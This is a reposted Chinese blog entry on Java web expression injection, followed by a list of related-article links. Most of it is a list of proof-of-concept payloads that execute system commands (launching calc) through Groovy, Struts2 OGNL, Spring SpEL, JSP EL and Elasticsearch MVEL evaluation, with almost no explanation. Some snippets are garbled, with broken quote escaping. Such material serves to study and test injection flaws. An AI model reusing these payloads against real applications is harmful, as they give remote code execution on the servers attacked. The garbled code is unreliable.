一种新的攻击方法——Java Web表达式注入

简介:

【转】http://blog.csdn.net/kk_gods/article/details/51840683


1
2
3
4
5
java--Groovy命令执行:
static  void  main(args){  
def cmd =  "calc" ;  
println  "${cmd.execute()}" ;  
}
1
2
3
4
5
struts2--OGNL命令执行:
ActionContext AC = ActionContext.getContext();
Map Parameters = (Map)AC.getParameters();
String expression =  "${(new java.lang.ProcessBuilder('calc')).start()}" ;
AC.getValueStack().findValue(expression));
1
2
3
spring--SPEL命令执行:
String expression =  "T(java.lang.Runtime).getRuntime().exec(/" calc/ ")" ;
String result = parser.parseExpression(expression).getValue().toString();
1
2
3
4
JSP--JSTL_EL命令执行
<spring:message text=
"${/" / ".getClass().forName(/" java.lang.Runtime/ ").getMethod(/" getRuntime/ ",null).invoke(null,null).exec(/" calc/ ",null).toString()}" >
</spring:message>
1
2
3
4
5
6
7
8
Elasticsearch——MVEL
java  import  org.mvel.MVEL;  
public  class  MVELTest {  
         public  static  void  main(String[] args) {  
               String expression =  "new java.lang.ProcessBuilder(/" calc/ ").start();" ;  
                Boolean result = (Boolean) MVEL.eval(expression, vars);  
          }  
   }

















本文转自fatshi51CTO博客,原文链接: http://blog.51cto.com/duallay/1957765,如需转载请自行联系原作者




相关文章
|
1月前
|
安全 Java API
Java Web 在线商城项目最新技术实操指南帮助开发者高效完成商城项目开发
本项目基于Spring Boot 3.2与Vue 3构建现代化在线商城,涵盖技术选型、核心功能实现、安全控制与容器化部署,助开发者掌握最新Java Web全栈开发实践。
242 1
|
1月前
|
存储 前端开发 Java
【JAVA】Java 项目实战之 Java Web 在线商城项目开发实战指南
本文介绍基于Java Web的在线商城技术方案与实现,涵盖三层架构设计、MySQL数据库建模及核心功能开发。通过Spring MVC + MyBatis + Thymeleaf实现商品展示、购物车等模块,提供完整代码示例,助力掌握Java Web项目实战技能。(238字)
179 0
|
2月前
|
安全 Java API
Java中的Lambda表达式:简洁与功能的结合
Java中的Lambda表达式:简洁与功能的结合
365 211
|
2月前
|
安全 Java
Java中的Switch表达式:更简洁的多路分支
Java中的Switch表达式:更简洁的多路分支
440 211
|
1月前
|
安全 网络协议 NoSQL
Web渗透-常见的端口及对其的攻击思路
本文介绍了常见网络服务端口及其安全风险,涵盖FTP、SSH、Telnet、SMTP、DNS、HTTP、SMB、数据库及远程桌面等20余个端口,涉及弱口令爆破、信息泄露、未授权访问、缓冲区溢出等典型漏洞,适用于网络安全学习与渗透测试参考。
412 59
|
2月前
|
JavaScript Java 微服务
现代化 Java Web 在线商城项目技术方案与实战开发流程及核心功能实现详解
本项目基于Spring Boot 3与Vue 3构建现代化在线商城系统,采用微服务架构,整合Spring Cloud、Redis、MySQL等技术,涵盖用户认证、商品管理、购物车功能,并支持Docker容器化部署与Kubernetes编排。提供完整CI/CD流程,助力高效开发与扩展。
361 63
|
2月前
|
Java 编译器 API
Java Lambda表达式与函数式编程入门
Lambda表达式是Java 8引入的重要特性,简化了函数式编程的实现方式。它通过简洁的语法替代传统的匿名内部类,使代码更清晰、易读。本文深入讲解Lambda表达式的基本语法、函数式接口、方法引用等核心概念,并结合集合操作、线程处理、事件回调等实战案例,帮助开发者掌握现代Java编程技巧。同时,还解析了面试中高频出现的相关问题,助你深入理解其原理与应用场景。
|
2月前
|
前端开发 Java 数据库
Java 项目实战从入门到精通 :Java Web 在线商城项目开发指南
本文介绍了一个基于Java Web的在线商城项目,涵盖技术方案与应用实例。项目采用Spring、Spring MVC和MyBatis框架,结合MySQL数据库,实现商品展示、购物车、用户注册登录等核心功能。通过Spring Boot快速搭建项目结构,使用JPA进行数据持久化,并通过Thymeleaf模板展示页面。项目结构清晰,适合Java Web初学者学习与拓展。
206 1
|
3月前
|
自然语言处理 Java Apache
在Java中将String字符串转换为算术表达式并计算
具体的实现逻辑需要填写在 `Tokenizer`和 `ExpressionParser`类中,这里只提供了大概的框架。在实际实现时 `Tokenizer`应该提供分词逻辑,把输入的字符串转换成Token序列。而 `ExpressionParser`应当通过递归下降的方式依次解析
253 14
下一篇
oss教程